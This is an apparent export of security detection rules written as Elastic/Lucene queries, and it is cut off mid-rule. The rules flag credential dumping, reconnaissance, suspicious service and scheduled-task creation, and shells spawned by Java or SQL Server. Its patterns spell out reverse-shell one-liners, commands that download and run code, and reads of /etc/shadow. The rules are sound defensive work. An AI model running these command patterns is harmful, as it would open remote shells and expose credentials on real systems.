{"description": "Detects suspicious processes that write (copy) a Active Directory database (ntds.dit) file", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "921cafd4-6074-cd26-9de7-a878f1f8a623", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Process Writes Ntds.dit", "query": "(file.path:*\\\\ntds.dit AND process.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\cmd.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\mshta.exe OR *\\\\wsl.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious reconnaissance command line activity on Windows systems using Net.EXE", "enabled": false, "false_positives": ["Inventory tool runs", "Administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6028e2e5-cbc2-ab69-a53a-27c18749f9b1", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Reconnaissance Activity Using Net", "query": "((process.executable.text:(*\\\\net.exe OR *\\\\net1.exe) OR winlog.event_data.OriginalFileName:(\"net.exe\" OR \"net1.exe\")) AND ((process.command_line.text:(*\\ group\\ * OR *\\ localgroup\\ *) AND process.command_line.text:(*domain\\ admins* OR *\\ administrator* OR *\\ administrateur* OR *enterprise\\ admins* OR *Exchange\\ Trusted\\ Subsystem* OR *Remote\\ Desktop\\ Users* OR *Utilisateurs\\ du\\ Bureau\\ \u00e0\\ distance* OR *Usuarios\\ de\\ escritorio\\ remoto* OR *\\ \\/do*)) OR (process.command_line.text:*\\ accounts\\ * AND process.command_line.text:*\\ \\/do*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1087", "T1087"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1087", "name": "Account Discovery", "reference": ""}, {"id": "T1087", "name": "Account Discovery", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "omkar72", "@svch0st", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects suspicious remote procedure call (RPC) service anomalies based on the spawned sub processes (long shot to detect the exploitation of vulnerabilities like CVE-2022-26809)", "enabled": false, "false_positives": ["Unknown", "Some cases in which the service spawned a werfault.exe process"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "02aba118-d109-0334-dc04-f74272dcf4ad", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remote Procedure Call Service Anomaly", "query": "process.parent.command_line:C\\:\\\\WINDOWS\\\\system32\\\\svchost.exe\\ \\-k\\ RPCSS*", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190", "T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}, {"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious renamed PAExec execution as often used by attackers", "enabled": false, "false_positives": ["Weird admins that rename their tools", "Software companies that bundle PAExec with their software and rename it, so that it is less embarrassing"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f194b7b8-ce4a-22dc-d28a-2ff1a48b6bae", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Renamed PAExec", "query": "((winlog.event_data.Description:\"PAExec\\ Application\" OR winlog.event_data.OriginalFileName:\"PAExec.exe\") AND (NOT (process.executable.text:(*\\\\PAexec.exe OR *\\\\paexec.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1202"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious renamed SysInternals DebugView execution", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "25a599d9-55a7-f5f3-216a-c24282cd06c4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Renamed SysInternals Debug View", "query": "(Product:(\"Sysinternals\\ DebugView\" OR \"Sysinternals\\ Debugview\") AND (NOT (winlog.event_data.OriginalFileName:\"Dbgview.exe\" AND process.executable:*\\\\Dbgview.exe)))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious requests to Telegram API without the usual Telegram User-Agent", "enabled": false, "false_positives": ["Legitimate use of Telegram bots in the company"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "2da282e3-a593-bc73-e7f1-bf3e7fde9f69", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Telegram API Access", "query": "((destination.domain:\"api.telegram.org\" OR url.domain:\"api.telegram.org\") AND (NOT (user_agent.original:(*Telegram* OR *Bot*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1071", "T1102"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious Ruby on Rails exceptions that could indicate exploitation attempts", "enabled": false, "false_positives": ["Application bugs"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "c945a51f-307b-2d70-f612-d301d6a8d118", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Ruby on Rails Framework Exceptions", "query": "(*ActionController\\:\\:InvalidAuthenticityToken* OR *ActionController\\:\\:InvalidCrossOriginRequest* OR *ActionController\\:\\:MethodNotAllowed* OR *ActionController\\:\\:BadRequest* OR *ActionController\\:\\:ParameterMissing*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "Detects suspicious Rundll32 execution from control.exe as used by Equation Group and Exploit Kits", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "37554aec-24c0-00af-143e-68144863b9ed", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Control Panel DLL Load", "query": "((process.parent.executable:*\\\\System32\\\\control.exe AND process.executable:*\\\\rundll32.exe\\ ) AND (NOT (process.command_line:*Shell32.dll*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious SAM dump activity as cause by QuarksPwDump and other password dumpers", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d0123879-9d7a-4507-e6d6-85e10d866df4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "SAM Dump to AppData", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Microsoft\\-Windows\\-Kernel\\-General\" AND winlog.event_id:\"16\" AND \"\\\\AppData\\\\Local\\\\Temp\\\\SAM\\-\" AND \".dmp\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious scheduled task creations from a parent stored in a temporary folder", "enabled": false, "false_positives": ["Software installers that run from temporary folders and also install scheduled tasks"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "48db58a9-5053-37f3-7eb9-472644a4a9ab", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Add Scheduled Task Parent", "query": "((process.executable:*\\\\schtasks.exe AND process.command_line:*\\/Create\\ * AND process.parent.executable:(*\\\\AppData\\\\Local\\\\* OR *\\\\AppData\\\\Roaming\\\\* OR *\\\\Temporary\\ Internet* OR *\\\\Users\\\\Public\\\\*)) AND (NOT ((process.command_line:(*update_task.xml* OR *unattended.ini*)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious scheduled task creations with commands that are uncommon", "enabled": false, "false_positives": ["Software installers that run from temporary folders and also install scheduled tasks"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ce5f7969-7d43-401b-1537-09541b889936", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Add Scheduled Command Pattern", "query": "((process.executable:*\\\\schtasks.exe AND process.command_line:*\\/Create\\ *) AND ((process.command_line:(*\\/sc\\ minute\\ * OR *\\/ru\\ system\\ *) AND process.command_line:(*cmd.exe\\ \\/c\\ * OR *cmd\\ \\/c*)) OR process.command_line:(*\\ bypass\\ * OR *.DownloadString* OR *.DownloadFile* OR *FromBase64String* OR *\\ \\-w\\ hidden\\ * OR *\\ IEX* OR *\\ \\-enc\\ * OR *\\ \\-decode\\ * OR *\\/c\\ start\\ \\/min\\ * OR *\\ curl\\ *) OR (process.command_line:*\\/xml\\ C\\:\\\\Users\\\\* AND process.command_line:*\\\\AppData\\\\Local\\\\*) OR (process.command_line:*wscript.exe* AND process.command_line:*\\\\AppData\\\\*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious service installation commands", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "007c2889-39de-5a78-046e-a6c02b4c0ec2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Service Installation", "query": "(winlog.channel:\"System\" AND ((Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\") AND (winlog.event_data.ImagePath:(*\\ \\-w\\ hidden\\ * OR *\\ \\-nop\\ * OR *\\ \\-sta\\ * OR *\\\\Users\\\\Public\\\\* OR *\\\\Windows\\\\Temp\\\\* OR *\\\\Perflogs\\\\* OR *\\\\\\\\.\\\\pipe* OR *\\\\ADMIN$\\\\* OR *.downloadstring\\(* OR *.downloadfile\\(*) OR (winlog.event_data.ImagePath:*\\ \\-e* AND winlog.event_data.ImagePath:(*\\ JAB* OR *\\ SUVYI* OR *\\ SQBFAFgA* OR *\\ aWV4I* OR *\\ IAB* OR *\\ PAA* OR *\\ aQBlAHgA*)))) AND (NOT ((winlog.event_data.ImagePath:C\\:\\\\WINDOWS\\\\TEMP\\\\thor10\\-remote\\\\thor64.exe*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["pH-T"], "license": ""}
{"description": "Detects suspicious service installation commands", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "007c2889-39de-5a78-046e-a6c02b4c0ec2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Service Installation", "query": "(winlog.channel:\"System\" AND ((Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\") AND (winlog.event_data.ImagePath:(*\\ \\-w\\ hidden\\ * OR *\\ \\-nop\\ * OR *\\ \\-sta\\ * OR *\\\\Users\\\\Public\\\\* OR *\\\\Windows\\\\Temp\\\\* OR *\\\\Perflogs\\\\* OR *\\\\\\\\.\\\\pipe* OR *\\\\ADMIN$\\\\* OR *C\\:\\\\Temp\\\\* OR *.downloadstring\\(* OR *.downloadfile\\(*) OR (winlog.event_data.ImagePath:*\\ \\-e* AND winlog.event_data.ImagePath:(*\\ JAB* OR *\\ SUVYI* OR *\\ SQBFAFgA* OR *\\ aWV4I* OR *\\ IAB* OR *\\ PAA* OR *\\ aQBlAHgA*)))) AND (NOT ((winlog.event_data.ImagePath:C\\:\\\\WINDOWS\\\\TEMP\\\\thor10\\-remote\\\\thor64.exe*) OR (winlog.event_data.ImagePath:C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\Definition\\ Updates\\\\*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["pH-T"], "license": ""}
{"description": "Detects suspicious service installation scripts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8d9ef7e1-f2da-59c0-a919-39ed8a76e871", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Service Installation Script", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ImagePath:*\\ \\/C\\ * AND winlog.event_data.ImagePath:(*powershell* OR *wscript* OR *cscript* OR *mshta* OR *rundll32*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["pH-T"], "license": ""}
{"description": "Detects suspicious session with two users present", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "331c6cb4-f828-19d8-1fed-4062464ff68f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Guacamole Two Users Sharing Session Anomaly", "query": "\"\$2\\ users\\ now\\ present\$\"", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1212"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1212", "name": "Exploitation for Credential Access", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious shell commands indicating the information gathering phase as preparation for the Privilege Escalation.", "enabled": false, "false_positives": ["Troubleshooting on Linux Machines"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "fc964370-e620-2dbc-abc3-b6e9dfc9c933", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Privilege Escalation Preparation", "query": "(*cat\\ \\/etc\\/issue* OR *cat\\ \\/etc\\/*\\-release* OR *cat\\ \\/proc\\/version* OR *uname\\ \\-a* OR *uname\\ \\-mrs* OR *rpm\\ \\-q\\ kernel* OR *dmesg\\ |\\ grep\\ Linux* OR *ls\\ \\/boot\\ |\\ grep\\ vmlinuz\\-* OR *cat\\ \\/etc\\/profile* OR *cat\\ \\/etc\\/bashrc* OR *cat\\ \\~\\/.bash_profile* OR *cat\\ \\~\\/.bashrc* OR *cat\\ \\~\\/.bash_logout* OR *ps\\ \\-aux\\ |\\ grep\\ root* OR *ps\\ \\-ef\\ |\\ grep\\ root* OR *crontab\\ \\-l* OR *cat\\ \\/etc\\/cron* OR *cat\\ \\/etc\\/cron.allow* OR *cat\\ \\/etc\\/cron.deny* OR *cat\\ \\/etc\\/crontab* OR *grep\\ \\-i\\ user\\ * OR *grep\\ \\-i\\ pass\\ * OR *ifconfig* OR *cat\\ \\/etc\\/network\\/interfaces* OR *cat\\ \\/etc\\/sysconfig\\/network* OR *cat\\ \\/etc\\/resolv.conf* OR *cat\\ \\/etc\\/networks* OR *iptables\\ \\-L* OR *ip6tables\\ \\-L* OR *lsof\\ \\-i* OR *netstat\\ \\-antup* OR *netstat\\ \\-antpx* OR *netstat\\ \\-tulpn* OR *arp\\ \\-e* OR *route* OR *cat\\ \\/etc\\/passwd* OR *cat\\ \\/etc\\/group* OR *cat\\ \\/etc\\/shadow* OR *find\\ \\/\\ \\-perm\\ \\-u\\=s* OR *find\\ \\/\\ \\-perm\\ \\-g\\=s* OR *find\\ \\/\\ \\-perm\\ \\-4000* OR *find\\ \\/\\ \\-perm\\ \\-2000* OR *find\\ \\/\\ \\-perm\\ \\-o\\+w*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "threshold", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "threshold": {"field": "host", "value": 7}, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Patrick Bareiss"], "license": ""}
{"description": "Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "1f82154a-85cb-5e26-d78d-9334648622f6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Reverse Shell Command Line", "query": "(*BEGIN\\ \\{s\\ \\=\\ \\\"\\/inet\\/tcp\\/0\\/* OR *bash\\ \\-i\\ >&\\ \\/dev\\/tcp\\/* OR *bash\\ \\-i\\ >&\\ \\/dev\\/udp\\/* OR *sh\\ \\-i\\ >$\\ \\/dev\\/udp\\/* OR *sh\\ \\-i\\ >$\\ \\/dev\\/tcp\\/* OR *\\&&\\ while\\ read\\ line\\ 0<&5;\\ do* OR *\\/bin\\/bash\\ \\-c\\ exec\\ 5<>\\/dev\\/tcp\\/* OR *\\/bin\\/bash\\ \\-c\\ exec\\ 5<>\\/dev\\/udp\\/* OR *nc\\ \\-e\\ \\/bin\\/sh\\ * OR *\\/bin\\/sh\\ |\\ nc* OR *rm\\ \\-f\\ backpipe;\\ mknod\\ \\/tmp\\/backpipe\\ p\\ \\&&\\ nc\\ * OR *;socket\$S,PF_INET,SOCK_STREAM,getprotobyname\\(\\\"tcp\\\"\$\\);if\$connect\\(S,sockaddr_in\\($p,inet_aton\\($i\$\\)\\)\\)* OR *;STDIN\\->fdopen\$$c,r\$;$\\~\\->fdopen\$$c,w\$;system$_\\ while<>;* OR *\\/bin\\/sh\\ \\-i\\ <&3\\ >&3\\ 2>&3* OR *uname\\ \\-a;\\ w;\\ id;\\ \\/bin\\/bash\\ \\-i* OR *$sendbyte\\ \\=\\ \$\\[text.encoding\\]\\:\\:ASCII\$.GetBytes\$$sendback2\$;\\ $stream.Write\$$sendbyte,0,$sendbyte.Length\$;\\ $stream.Flush\$\$\\};* OR *;os.dup2\$s.fileno\\(\$,0\\);os.dup2\$s.fileno\\(\$,1\\);os.dup2\$s.fileno\\(\$,2\\);os.putenv\$'HISTFILE','\\/dev\\/null'\$;* OR *.to_i;exec\\ sprintf\$\\\"\\/bin\\/sh\\ \\-i\\ <&%d\\ >&%d\\ 2>&%d\\\",f,f,f\$* OR *;while\$cmd\\=c.gets\$;IO.popen\$cmd,\\\"r\\\"\$\\{|io|c.print* OR *socat\\ exec\\:'bash\\ \\-li',pty,stderr,setsid,sigint,sane\\ tcp\\:* OR *rm\\ \\-f\\ \\/tmp\\/p;\\ mknod\\ \\/tmp\\/p\\ p\\ \\&&* OR *\\ |\\ \\/bin\\/bash\\ |\\ telnet\\ * OR *,echo\\=0,raw\\ tcp\\-listen\\:* OR *nc\\ \\-lvvp\\ * OR *xterm\\ \\-display\\ 1*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious shell commands used in various exploit codes (see references)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "77141e95-0f38-f4d7-1a5d-9313bad5aae7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Activity in Shell Commands", "query": "(*wget\\ *\\ \\-\\ http*\\ |\\ perl* OR *wget\\ *\\ \\-\\ http*\\ |\\ sh* OR *wget\\ *\\ \\-\\ http*\\ |\\ bash* OR *python\\ \\-m\\ SimpleHTTPServer* OR *\\-m\\ http.server* OR *import\\ pty;\\ pty.spawn* OR *socat\\ exec\\:* OR *socat\\ \\-O\\ \\/tmp\\/* OR *socat\\ tcp\\-connect* OR *echo\\ binary\\ >>* OR *wget\\ *;\\ chmod\\ \\+x* OR *wget\\ *;\\ chmod\\ 777\\ * OR *cd\\ \\/tmp\\ \\||\\ cd\\ \\/var\\/run\\ \\||\\ cd\\ \\/mnt* OR *stop;service\\ iptables\\ stop;* OR *stop;SuSEfirewall2\\ stop;* OR *chmod\\ 777\\ 2020* OR *>>\\/etc\\/rc.local* OR *base64\\ \\-d\\ \\/tmp\\/* OR *\\ |\\ base64\\ \\-d\\ * OR *\\/chmod\\ u\\+s\\ * OR *chmod\\ \\+s\\ \\/tmp\\/* OR *chmod\\ u\\+s\\ \\/tmp\\/* OR *\\ \\/tmp\\/haxhax* OR *\\ \\/tmp\\/ns_sploit* OR *nc\\ \\-l\\ \\-p\\ * OR *cp\\ \\/bin\\/ksh\\ * OR *cp\\ \\/bin\\/sh\\ * OR *\\ \\/tmp\\/*.b64\\ * OR *\\/tmp\\/ysocereal.jar* OR *\\/tmp\\/x\\ * OR *;\\ chmod\\ \\+x\\ \\/tmp\\/* OR *;chmod\\ \\+x\\ \\/tmp\\/*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious shell spawn from Java host process (e.g. log4j exploitation)", "enabled": false, "false_positives": ["Legitimate calls to system binaries", "Company specific internal usage"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "adf48dcd-66f2-ae9c-4274-8cefbb4a60ac", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Shells Spawn by Java", "query": "(process.parent.executable:*\\\\java.exe AND process.executable:(*\\\\sh.exe OR *\\\\bash.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\schtasks.exe OR *\\\\certutil.exe OR *\\\\whoami.exe OR *\\\\bitsadmin.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\scrcons.exe OR *\\\\regsvr32.exe OR *\\\\hh.exe OR *\\\\wmic.exe OR *\\\\mshta.exe OR *\\\\rundll32.exe OR *\\\\forfiles.exe OR *\\\\scriptrunner.exe OR *\\\\mftrace.exe OR *\\\\AppVLP.exe OR *\\\\curl.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "Privilege Escalation"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Andreas Hunkeler (@Karneades)", "Florian Roth"], "license": ""}
{"description": "Detects suspicious shell spawn from Java utility keytool process (e.g. adselfservice plus exploitation)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ee424bd0-2d67-c65d-16a2-a7f93027d0e0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Shells Spawn by Java Utility Keytool", "query": "(process.parent.executable:*\\\\keytool.exe AND process.executable:(*\\\\cmd.exe OR *\\\\sh.exe OR *\\\\bash.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\schtasks.exe OR *\\\\certutil.exe OR *\\\\whoami.exe OR *\\\\bitsadmin.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\scrcons.exe OR *\\\\regsvr32.exe OR *\\\\hh.exe OR *\\\\wmic.exe OR *\\\\mshta.exe OR *\\\\rundll32.exe OR *\\\\forfiles.exe OR *\\\\scriptrunner.exe OR *\\\\mftrace.exe OR *\\\\AppVLP.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "Privilege Escalation"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Andreas Hunkeler (@Karneades)"], "license": ""}
{"description": "Detects suspicious shell spawn from MSSQL process, this might be sight of RCE or SQL Injection", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "735a3dfb-6c51-6a03-df63-14e75583a82a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Shells Spawn by SQL Server", "query": "((process.parent.executable:*\\\\sqlservr.exe AND process.executable:(*\\\\cmd.exe OR *\\\\sh.exe OR *\\\\bash.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\bitsadmin.exe)) AND (NOT ((process.parent.executable:C\\:\\\\Program\\ Files\\\\Microsoft\\ SQL\\ Server\\\\* AND process.parent.executable:*DATEV_DBENGINE\\\\MSSQL\\\\Binn\\\\sqlservr.exe AND process.executable:\"C\\:\\\\Windows\\\\System32\\\\cmd.exe\" AND process.command_line:\\\"C\\:\\\\Windows\\\\system32\\\\cmd.exe\\\"\\ *))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "Privilege Escalation", "T1190", "T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit 